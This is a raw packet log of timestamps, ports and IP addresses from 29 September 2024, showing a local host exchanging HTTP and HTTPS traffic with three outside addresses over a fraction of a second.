Sep 29, 2024 00:53:25.572433949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572442055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572448969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572453976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572455883 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.572458982 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572459936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572463036 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.572480917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572499990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572524071 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572527885 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.572550058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572555065 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572566986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572583914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572604895 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572611094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572616100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572622061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572627068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572628021 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572635889 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572650909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572652102 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572659969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572664976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572670937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572674036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572678089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572684050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572690964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572705030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572721004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572743893 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573575020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573630095 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573709011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573714972 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573720932 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573733091 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573739052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573751926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573759079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573764086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573777914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573785067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573791027 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573795080 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573796034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573803902 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.573810101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573822975 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573834896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.573849916 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574210882 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574234009 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574306965 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.574306965 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.574314117 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574332952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574390888 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574397087 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574398994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574400902 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.574405909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574418068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574435949 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574476957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574479103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574485064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574512959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574518919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574542999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574558973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574619055 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574635029 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574640989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574645996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574651957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574657917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574656963 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574668884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574673891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.574690104 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.574690104 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574695110 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.574717045 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.574738026 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.574738026 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.575350046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575409889 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.575450897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575457096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575468063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575474024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575479031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575484037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575489998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575520992 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.575545073 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.575584888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575603962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575609922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575614929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575655937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.575675011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575683117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575690031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575694084 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.575716972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.575750113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576347113 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576351881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576395988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576409101 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576452017 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576507092 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576513052 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576519012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576528072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576534986 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576540947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576545954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576554060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576559067 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576584101 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576585054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576610088 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576616049 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576637983 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576659918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576666117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576673031 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576682091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.576735973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576772928 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.576797962 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.576811075 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.576853037 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.576853037 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.576858997 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.577007055 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.577377081 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577421904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577425957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577435017 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577498913 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577543020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577554941 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577560902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577565908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577572107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577574968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577581882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577588081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577593088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577594995 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577598095 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577604055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577610016 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577621937 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577621937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577621937 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577635050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.577641964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577651978 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.577666998 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578463078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578465939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578473091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578520060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578521967 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578526020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578532934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578546047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578567028 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578583956 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578648090 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578654051 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578660011 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578706026 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578778028 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578784943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578790903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578830957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.578934908 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.578991890 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579041004 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579096079 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579125881 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.579157114 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.579191923 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.579197884 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.579225063 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.579226017 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579231977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579236984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579242945 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.579246998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579252958 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579322100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579322100 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579328060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579334974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579340935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579405069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579427958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579479933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579509974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579514980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579519987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579525948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579530954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579566956 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579572916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.579574108 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579597950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.579626083 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.580642939 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580665112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580670118 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580677986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580724001 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.580724001 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.580794096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580800056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580806971 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580816984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580894947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580898046 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.580899954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580907106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580913067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580913067 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.580934048 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.580943108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580948114 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.580950022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580957890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580962896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.580992937 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.581000090 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.581017971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.581022024 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.581059933 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.581392050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581406116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581412077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581423044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581429005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581435919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581443071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581470966 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.581496954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.581732988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581742048 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581748009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581759930 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581764936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581774950 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.581799030 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.581804991 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.581834078 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581840038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.581846952 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.581846952 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.581854105 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.581875086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.581896067 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.583003044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583009958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583022118 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583026886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583033085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583038092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583045006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583050013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583077908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.583106995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.583749056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583772898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583779097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583795071 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.583822012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.583879948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583885908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583892107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583903074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583908081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.583944082 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.630518913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630558014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630563021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630573988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630578995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630584955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630593061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630605936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630610943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630623102 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630681992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630686998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630692959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630697012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630702972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630707026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.630780935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.630780935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.630780935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.631226063 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.651340008 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651356936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651360989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651365995 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651371956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651407003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651412010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651417017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651422977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651482105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.651521921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651526928 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651531935 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651542902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651547909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651552916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651559114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651633024 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.651915073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651921034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651926994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.651972055 CEST	80	49712	176.113.115.95	192.168.2.9
